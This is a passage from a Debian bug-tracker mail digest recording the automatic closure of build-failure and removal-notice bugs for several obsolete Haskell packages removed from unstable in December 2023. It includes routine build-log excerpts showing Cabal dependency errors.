possible solutions is available at http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute! If you reassign this bug to another package, please mark it as 'affects'-ing this package. See https://www.debian.org/Bugs/server-control#affects If you fail to reproduce this, please provide a build log and diff it with mine so that we can identify if something relevant changed in the meantime. --- End Message --- --- Begin Message --- Version: 2.0.5.1-1+rm Dear submitter, as the package haskell-fclabels has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1057212 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1054859: marked as done (haskell-diagrams-gtk: FTBFS: make: *** [/usr/share/cdbs/1/class/hlibrary.mk:153: configure-ghc-stamp] Error 25)
Your message dated Fri, 01 Dec 2023 18:55:14 +
with message-id
and subject line Bug#1057213: Removed package(s) from unstable
has caused the Debian Bug report #1054859,
regarding haskell-diagrams-gtk: FTBFS: make: ***
[/usr/share/cdbs/1/class/hlibrary.mk:153: configure-ghc-stamp] Error 25
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1054859: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054859
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: haskell-diagrams-gtk
Version: 1.4-8
Severity: serious
Justification: FTBFS
Tags: trixie sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20231027 ftbfs-trixie
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> debian/rules binary
> test -x debian/rules
> dh_testroot
> dh_prep
> dh_installdirs -A
> mkdir -p "."
> CDBS WARNING:DEB_DH_STRIP_ARGS is deprecated since 0.4.85
> CDBS WARNING:DEB_COMPRESS_EXCLUDE is deprecated since 0.4.85
> Adding cdbs dependencies to debian/libghc-diagrams-gtk-doc.substvars
> dh_installdirs -plibghc-diagrams-gtk-doc \
>
> perl -d:Confess -MDebian::Debhelper::Buildsystem::Haskell::Recipes=/.*/ \
> -E 'make_setup_recipe'
> Running ghc --make Setup.hs -o debian/hlibrary.setup
> [1 of 2] Compiling Main ( Setup.hs, Setup.o )
> [2 of 2] Linking debian/hlibrary.setup
> perl -d:Confess -MDebian::Debhelper::Buildsystem::Haskell::Recipes=/.*/ \
> -E 'configure_recipe'
> Running find . ! -newer /tmp/v9sNz2qzPa -exec touch -d 1998-01-01 UTC {} ;
> Running dh_listpackages
> libghc-diagrams-gtk-dev
> libghc-diagrams-gtk-prof
> libghc-diagrams-gtk-doc
> Running dh_listpackages
> libghc-diagrams-gtk-dev
> libghc-diagrams-gtk-prof
> libghc-diagrams-gtk-doc
> Running dpkg-buildflags --get LDFLAGS
> -Wl,-z,relro
> Running debian/hlibrary.setup configure --ghc -v2
> --package-db=/var/lib/ghc/package.conf.d --prefix=/usr
> --libdir=/usr/lib/haskell-packages/ghc/lib --libexecdir=/usr/lib
> --builddir=dist-ghc --ghc-option=-optl-Wl,-z,relro
> --haddockdir=/usr/lib/ghc-doc/haddock/diagrams-gtk-1.4/
> --datasubdir=diagrams-gtk
> --htmldir=/usr/share/doc/libghc-diagrams-gtk-doc/html/
> --enable-library-profiling
> Non-zero exit code 1.
> Using Parsec parser
> Configuring diagrams-gtk-1.4...
> CallStack (from HasCallStack):
> withMetadata, called at
> libraries/Cabal/Cabal/src/Distribution/Simple/Utils.hs:370:14 in
> Cabal-3.8.1.0:Distribution.Simple.Utils
> Error: hlibrary.setup: Encountered missing or private dependencies:
> base >=4.2 && <4.16
>
> at /usr/share/perl5/Debian/Debhelper/Buildsystem/Haskell/Recipes.pm line 109.
>
> Debian::Debhelper::Buildsystem::Haskell::Recipes::run_quiet("debian/hlibrary.setup",
> "configure", "--ghc", "-v2", "--package-db=/var/lib/ghc/package.conf.d",
> "--prefix=/usr", "--libdir=/usr/lib/haskell-packages/ghc/lib",
> "--libexecdir=/usr/lib", ...) called at
> /usr/share/perl5/Debian/Debhelper/Buildsystem/Haskell/Recipes.pm line 133
>
> Debian::Debhelper::Buildsystem::Haskell::Recipes::run("debian/hlibrary.setup",
> "configure", "--ghc", "-v2", "--package-db=/var/lib/ghc/package.conf.d",
> "--prefix=/usr", "--libdir=/usr/lib/haskell-packages/ghc/lib",
> "--libexecdir=/usr/lib", ...) called at
> /usr/share/perl5/Debian/Debhelper/Buildsystem/Haskell/Recipes.pm line 637
> Debian::Debhelper::Buildsystem::Haskell::Recipes::configure_recipe()
> called at -e line 1
> make: *** [/usr/share/cdbs/1/class/hlibrary.mk:153: configure-ghc-stamp]
> Error 25
The full build log is available from:
http://qa-logs.debian.net/2023/10/27/haskell-diagrams-gtk_1.4-8_unstable.log
All bugs filed during this archive rebuild are listed at:
https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=ftbfs-20231027;users=lu...@debian.org
or:
https://udd.debian.org/bugs/?release=na=ign=7=7=only=ftbfs-20231027=lu...@debian.org=1=1=1=1#results
A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!
If you reassign this bug to another package, please mark it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects
If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Version: 1.4-8+rm
Dear submitter,
as the package haskell-diagrams-gtk has just been removed from the Debian
archive
unstable we hereby close the associated bug
Bug#1054838: marked as done (haskell-mbox: FTBFS: make: *** [/usr/share/cdbs/1/class/hlibrary.mk:153: configure-ghc-stamp] Error 25)
Your message dated Fri, 01 Dec 2023 18:56:16 +
with message-id
and subject line Bug#1057215: Removed package(s) from unstable
has caused the Debian Bug report #1054838,
regarding haskell-mbox: FTBFS: make: ***
[/usr/share/cdbs/1/class/hlibrary.mk:153: configure-ghc-stamp] Error 25
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1054838: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054838
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: haskell-mbox
Version: 0.3.4-6
Severity: serious
Justification: FTBFS
Tags: trixie sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20231027 ftbfs-trixie
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> debian/rules binary
> test -x debian/rules
> dh_testroot
> dh_prep
> dh_installdirs -A
> mkdir -p "."
> CDBS WARNING:DEB_DH_STRIP_ARGS is deprecated since 0.4.85
> CDBS WARNING:DEB_COMPRESS_EXCLUDE is deprecated since 0.4.85
> Adding cdbs dependencies to debian/libghc-mbox-doc.substvars
> dh_installdirs -plibghc-mbox-doc \
>
> perl -d:Confess -MDebian::Debhelper::Buildsystem::Haskell::Recipes=/.*/ \
> -E 'make_setup_recipe'
> Running ghc --make Setup.hs -o debian/hlibrary.setup
> [1 of 2] Compiling Main ( Setup.hs, Setup.o )
> [2 of 2] Linking debian/hlibrary.setup
> perl -d:Confess -MDebian::Debhelper::Buildsystem::Haskell::Recipes=/.*/ \
> -E 'configure_recipe'
> Running find . ! -newer /tmp/FvLquM7V6c -exec touch -d 1998-01-01 UTC {} ;
> Running dh_listpackages
> libghc-mbox-dev
> libghc-mbox-prof
> libghc-mbox-doc
> Running dh_listpackages
> libghc-mbox-dev
> libghc-mbox-prof
> libghc-mbox-doc
> Running dpkg-buildflags --get LDFLAGS
> -Wl,-z,relro
> Running debian/hlibrary.setup configure --ghc -v2
> --package-db=/var/lib/ghc/package.conf.d --prefix=/usr
> --libdir=/usr/lib/haskell-packages/ghc/lib --libexecdir=/usr/lib
> --builddir=dist-ghc --ghc-option=-optl-Wl,-z,relro
> --haddockdir=/usr/lib/ghc-doc/haddock/mbox-0.3.4/ --datasubdir=mbox
> --htmldir=/usr/share/doc/libghc-mbox-doc/html/ --enable-library-profiling
> Non-zero exit code 1.
> Using Parsec parser
> Configuring mbox-0.3.4...
> CallStack (from HasCallStack):
> withMetadata, called at
> libraries/Cabal/Cabal/src/Distribution/Simple/Utils.hs:370:14 in
> Cabal-3.8.1.0:Distribution.Simple.Utils
> Error: hlibrary.setup: Encountered missing or private dependencies:
> time <1.10
>
> at /usr/share/perl5/Debian/Debhelper/Buildsystem/Haskell/Recipes.pm line 109.
>
> Debian::Debhelper::Buildsystem::Haskell::Recipes::run_quiet("debian/hlibrary.setup",
> "configure", "--ghc", "-v2", "--package-db=/var/lib/ghc/package.conf.d",
> "--prefix=/usr", "--libdir=/usr/lib/haskell-packages/ghc/lib",
> "--libexecdir=/usr/lib", ...) called at
> /usr/share/perl5/Debian/Debhelper/Buildsystem/Haskell/Recipes.pm line 133
>
> Debian::Debhelper::Buildsystem::Haskell::Recipes::run("debian/hlibrary.setup",
> "configure", "--ghc", "-v2", "--package-db=/var/lib/ghc/package.conf.d",
> "--prefix=/usr", "--libdir=/usr/lib/haskell-packages/ghc/lib",
> "--libexecdir=/usr/lib", ...) called at
> /usr/share/perl5/Debian/Debhelper/Buildsystem/Haskell/Recipes.pm line 637
> Debian::Debhelper::Buildsystem::Haskell::Recipes::configure_recipe()
> called at -e line 1
> make: *** [/usr/share/cdbs/1/class/hlibrary.mk:153: configure-ghc-stamp]
> Error 25
The full build log is available from:
http://qa-logs.debian.net/2023/10/27/haskell-mbox_0.3.4-6_unstable.log
All bugs filed during this archive rebuild are listed at:
https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=ftbfs-20231027;users=lu...@debian.org
or:
https://udd.debian.org/bugs/?release=na=ign=7=7=only=ftbfs-20231027=lu...@debian.org=1=1=1=1#results
A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!
If you reassign this bug to another package, please mark it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects
If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Version: 0.3.4-6+rm
Dear submitter,
as the package haskell-mbox has just been removed from the Debian archive
unstable we hereby close the associated bug reports. We are sorry
that we couldn't deal with your issue properly.
For details on the removal, please see
Bug#1054851: marked as done (haskell-czipwith: FTBFS: make: *** [/usr/share/cdbs/1/class/hlibrary.mk:153: configure-ghc-stamp] Error 25)
Your message dated Fri, 01 Dec 2023 18:53:16 +
with message-id
and subject line Bug#1057210: Removed package(s) from unstable
has caused the Debian Bug report #1054851,
regarding haskell-czipwith: FTBFS: make: ***
[/usr/share/cdbs/1/class/hlibrary.mk:153: configure-ghc-stamp] Error 25
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1054851: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054851
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: haskell-czipwith
Version: 1.0.1.4-1
Severity: serious
Justification: FTBFS
Tags: trixie sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20231027 ftbfs-trixie
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> fakeroot debian/rules binary
> test -x debian/rules
> dh_testroot
> dh_prep
> dh_installdirs -A
> mkdir -p "."
> CDBS WARNING:DEB_DH_STRIP_ARGS is deprecated since 0.4.85
> CDBS WARNING:DEB_COMPRESS_EXCLUDE is deprecated since 0.4.85
> Adding cdbs dependencies to debian/libghc-czipwith-doc.substvars
> dh_installdirs -plibghc-czipwith-doc \
>
> perl -d:Confess -MDebian::Debhelper::Buildsystem::Haskell::Recipes=/.*/ \
> -E 'make_setup_recipe'
> Running ghc --make Setup.hs -o debian/hlibrary.setup
> [1 of 2] Compiling Main ( Setup.hs, Setup.o )
> [2 of 2] Linking debian/hlibrary.setup
> perl -d:Confess -MDebian::Debhelper::Buildsystem::Haskell::Recipes=/.*/ \
> -E 'configure_recipe'
> Running find . ! -newer /tmp/d7FqHU0BCL -exec touch -d 1998-01-01 UTC {} ;
> Running dh_listpackages
> libghc-czipwith-dev
> libghc-czipwith-prof
> libghc-czipwith-doc
> Running dh_listpackages
> libghc-czipwith-dev
> libghc-czipwith-prof
> libghc-czipwith-doc
> Running dpkg-buildflags --get LDFLAGS
> -Wl,-z,relro
> Running debian/hlibrary.setup configure --ghc -v2
> --package-db=/var/lib/ghc/package.conf.d --prefix=/usr
> --libdir=/usr/lib/haskell-packages/ghc/lib --libexecdir=/usr/lib
> --builddir=dist-ghc --ghc-option=-optl-Wl,-z,relro
> --haddockdir=/usr/lib/ghc-doc/haddock/czipwith-1.0.1.4/ --datasubdir=czipwith
> --htmldir=/usr/share/doc/libghc-czipwith-doc/html/ --enable-library-profiling
> --enable-tests
> Non-zero exit code 1.
> Using Parsec parser
> Configuring czipwith-1.0.1.4...
> CallStack (from HasCallStack):
> withMetadata, called at
> libraries/Cabal/Cabal/src/Distribution/Simple/Utils.hs:370:14 in
> Cabal-3.8.1.0:Distribution.Simple.Utils
> Error: hlibrary.setup: Encountered missing or private dependencies:
> base >=4.11 && <4.16, template-haskell >=2.9 && <2.18
>
> at /usr/share/perl5/Debian/Debhelper/Buildsystem/Haskell/Recipes.pm line 109.
>
> Debian::Debhelper::Buildsystem::Haskell::Recipes::run_quiet("debian/hlibrary.setup",
> "configure", "--ghc", "-v2", "--package-db=/var/lib/ghc/package.conf.d",
> "--prefix=/usr", "--libdir=/usr/lib/haskell-packages/ghc/lib",
> "--libexecdir=/usr/lib", ...) called at
> /usr/share/perl5/Debian/Debhelper/Buildsystem/Haskell/Recipes.pm line 133
>
> Debian::Debhelper::Buildsystem::Haskell::Recipes::run("debian/hlibrary.setup",
> "configure", "--ghc", "-v2", "--package-db=/var/lib/ghc/package.conf.d",
> "--prefix=/usr", "--libdir=/usr/lib/haskell-packages/ghc/lib",
> "--libexecdir=/usr/lib", ...) called at
> /usr/share/perl5/Debian/Debhelper/Buildsystem/Haskell/Recipes.pm line 637
> Debian::Debhelper::Buildsystem::Haskell::Recipes::configure_recipe()
> called at -e line 1
> make: *** [/usr/share/cdbs/1/class/hlibrary.mk:153: configure-ghc-stamp]
> Error 25
The full build log is available from:
http://qa-logs.debian.net/2023/10/27/haskell-czipwith_1.0.1.4-1_unstable.log
All bugs filed during this archive rebuild are listed at:
https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=ftbfs-20231027;users=lu...@debian.org
or:
https://udd.debian.org/bugs/?release=na=ign=7=7=only=ftbfs-20231027=lu...@debian.org=1=1=1=1#results
A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!
If you reassign this bug to another package, please mark it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects
If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Version: 1.0.1.4-1+rm
Dear submitter,
as the package haskell-czipwith has just been removed from the Debian archive
unstable we hereby close the
Bug#1054358: marked as done (Removal notice: obsolete)
Your message dated Fri, 01 Dec 2023 18:56:16 + with message-id and subject line Bug#1057215: Removed package(s) from unstable has caused the Debian Bug report #1054358, regarding Removal notice: obsolete to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1054358: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054358 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-mbox Version: 0.3.4-6 Severity: serious I intend to remove this package: * It has no rev dependencies * The current version FTBFS * Seems unmaintained; Last upload more than 5 years ago * It's not part of the latest Stackage LTS If you believe we should keep this package in Debian, please close this bug report. -- Ilias --- End Message --- --- Begin Message --- Version: 0.3.4-6+rm Dear submitter, as the package haskell-mbox has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1057215 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1054356: marked as done (Removal notice: obsolete)
Your message dated Fri, 01 Dec 2023 18:53:55 + with message-id and subject line Bug#1057211: Removed package(s) from unstable has caused the Debian Bug report #1054356, regarding Removal notice: obsolete to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1054356: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054356 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-data-tree-print Version: 0.1.0.2-3 Severity: serious I intend to remove this package: * It has no rev dependencies * The current version FTBFS * Seems unmaintained; Last upload more than 5 years ago * It's not part of the latest Stackage LTS If you believe we should keep this package in Debian, please close this bug report. -- Ilias --- End Message --- --- Begin Message --- Version: 0.1.0.2-3+rm Dear submitter, as the package haskell-data-tree-print has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1057211 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1054498: marked as done (Removal notice: obsolete)
Your message dated Fri, 01 Dec 2023 18:52:44 + with message-id and subject line Bug#1057206: Removed package(s) from unstable has caused the Debian Bug report #1054498, regarding Removal notice: obsolete to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1054498: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054498 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-butcher Version: 1.3.3.2-2 Severity: serious I intend to remove this package: * It has no rev dependencies * The current version FTBFS * It's not part of the latest Stackage LTS If you believe we should keep this package in Debian, please close this bug report. -- Ilias --- End Message --- --- Begin Message --- Version: 1.3.3.2-2+rm Dear submitter, as the package haskell-butcher has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1057206 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1054357: marked as done (Removal notice: obsolete)
Your message dated Fri, 01 Dec 2023 18:54:45 + with message-id and subject line Bug#1057212: Removed package(s) from unstable has caused the Debian Bug report #1054357, regarding Removal notice: obsolete to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1054357: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054357 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-fclabels Version: 2.0.5.1-1 Severity: serious I intend to remove this package: * It has no rev dependencies * The current version FTBFS * It's not part of the latest Stackage LTS If you believe we should keep this package in Debian, please close this bug report. -- Ilias --- End Message --- --- Begin Message --- Version: 2.0.5.1-1+rm Dear submitter, as the package haskell-fclabels has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1057212 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1054316: marked as done (Removal notice: obsolete)
Your message dated Fri, 01 Dec 2023 18:53:16 + with message-id and subject line Bug#1057210: Removed package(s) from unstable has caused the Debian Bug report #1054316, regarding Removal notice: obsolete to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1054316: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054316 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-czipwith Version: 1.0.1.4-1 Severity: serious I intend to remove this package: * It has no rev dependencies * The current version FTBFS with GHC 9.4 * It's not part of the latest Stackage LTS If you believe we should keep this package in Debian, please close this bug report. -- Ilias --- End Message --- --- Begin Message --- Version: 1.0.1.4-1+rm Dear submitter, as the package haskell-czipwith has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1057210 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1054319: marked as done (Removal notice: obsolete)
Your message dated Fri, 01 Dec 2023 18:55:45 + with message-id and subject line Bug#1057214: Removed package(s) from unstable has caused the Debian Bug report #1054319, regarding Removal notice: obsolete to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1054319: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054319 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-ixset Version: 1.1.1.2-1 Severity: serious I intend to remove this package: * It has no rev dependencies * The current version FTBFS (depends on broken haskell-syb-with-class) * It's not part of the latest Stackage LTS If you believe we should keep this package in Debian, please close this bug report. -- Ilias --- End Message --- --- Begin Message --- Version: 1.1.1.2-1+rm Dear submitter, as the package haskell-ixset has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1057214 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1054861: marked as done (haskell-binary-parsers: FTBFS: make: *** [/usr/share/cdbs/1/class/hlibrary.mk:153: configure-ghc-stamp] Error 25)
Your message dated Fri, 01 Dec 2023 18:51:21 +
with message-id
and subject line Bug#1057202: Removed package(s) from unstable
has caused the Debian Bug report #1054861,
regarding haskell-binary-parsers: FTBFS: make: ***
[/usr/share/cdbs/1/class/hlibrary.mk:153: configure-ghc-stamp] Error 25
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1054861: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054861
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: haskell-binary-parsers
Version: 0.2.4.0-4
Severity: serious
Justification: FTBFS
Tags: trixie sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20231027 ftbfs-trixie
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> debian/rules binary
> test -x debian/rules
> dh_testroot
> dh_prep
> dh_installdirs -A
> mkdir -p "."
> CDBS WARNING:DEB_DH_STRIP_ARGS is deprecated since 0.4.85
> CDBS WARNING:DEB_COMPRESS_EXCLUDE is deprecated since 0.4.85
> Adding cdbs dependencies to debian/libghc-binary-parsers-doc.substvars
> dh_installdirs -plibghc-binary-parsers-doc \
>
> perl -d:Confess -MDebian::Debhelper::Buildsystem::Haskell::Recipes=/.*/ \
> -E 'make_setup_recipe'
> Running ghc --make Setup.hs -o debian/hlibrary.setup
> [1 of 2] Compiling Main ( Setup.hs, Setup.o )
> [2 of 2] Linking debian/hlibrary.setup
> perl -d:Confess -MDebian::Debhelper::Buildsystem::Haskell::Recipes=/.*/ \
> -E 'configure_recipe'
> Running find . ! -newer /tmp/rrvgFKEMDq -exec touch -d 1998-01-01 UTC {} ;
> Running dh_listpackages
> libghc-binary-parsers-dev
> libghc-binary-parsers-prof
> libghc-binary-parsers-doc
> Running dh_listpackages
> libghc-binary-parsers-dev
> libghc-binary-parsers-prof
> libghc-binary-parsers-doc
> Running dpkg-buildflags --get LDFLAGS
> -Wl,-z,relro
> Running debian/hlibrary.setup configure --ghc -v2
> --package-db=/var/lib/ghc/package.conf.d --prefix=/usr
> --libdir=/usr/lib/haskell-packages/ghc/lib --libexecdir=/usr/lib
> --builddir=dist-ghc --ghc-option=-optl-Wl,-z,relro
> --haddockdir=/usr/lib/ghc-doc/haddock/binary-parsers-0.2.4.0/
> --datasubdir=binary-parsers
> --htmldir=/usr/share/doc/libghc-binary-parsers-doc/html/
> --enable-library-profiling --enable-tests
> Non-zero exit code 1.
> Using Parsec parser
> Configuring binary-parsers-0.2.4.0...
> CallStack (from HasCallStack):
> withMetadata, called at
> libraries/Cabal/Cabal/src/Distribution/Simple/Utils.hs:370:14 in
> Cabal-3.8.1.0:Distribution.Simple.Utils
> Error: hlibrary.setup: Encountered missing or private dependencies:
> bytestring >=0.10 && <0.11
>
> at /usr/share/perl5/Debian/Debhelper/Buildsystem/Haskell/Recipes.pm line 109.
>
> Debian::Debhelper::Buildsystem::Haskell::Recipes::run_quiet("debian/hlibrary.setup",
> "configure", "--ghc", "-v2", "--package-db=/var/lib/ghc/package.conf.d",
> "--prefix=/usr", "--libdir=/usr/lib/haskell-packages/ghc/lib",
> "--libexecdir=/usr/lib", ...) called at
> /usr/share/perl5/Debian/Debhelper/Buildsystem/Haskell/Recipes.pm line 133
>
> Debian::Debhelper::Buildsystem::Haskell::Recipes::run("debian/hlibrary.setup",
> "configure", "--ghc", "-v2", "--package-db=/var/lib/ghc/package.conf.d",
> "--prefix=/usr", "--libdir=/usr/lib/haskell-packages/ghc/lib",
> "--libexecdir=/usr/lib", ...) called at
> /usr/share/perl5/Debian/Debhelper/Buildsystem/Haskell/Recipes.pm line 637
> Debian::Debhelper::Buildsystem::Haskell::Recipes::configure_recipe()
> called at -e line 1
> make: *** [/usr/share/cdbs/1/class/hlibrary.mk:153: configure-ghc-stamp]
> Error 25
The full build log is available from:
http://qa-logs.debian.net/2023/10/27/haskell-binary-parsers_0.2.4.0-4_unstable.log
All bugs filed during this archive rebuild are listed at:
https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=ftbfs-20231027;users=lu...@debian.org
or:
https://udd.debian.org/bugs/?release=na=ign=7=7=only=ftbfs-20231027=lu...@debian.org=1=1=1=1#results
A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!
If you reassign this bug to another package, please mark it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects
If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Version: 0.2.4.0-4+rm
Dear submitter,
as the package haskell-binary-parsers has just been
Bug#1054596: marked as done (Removal notice: obsolete)
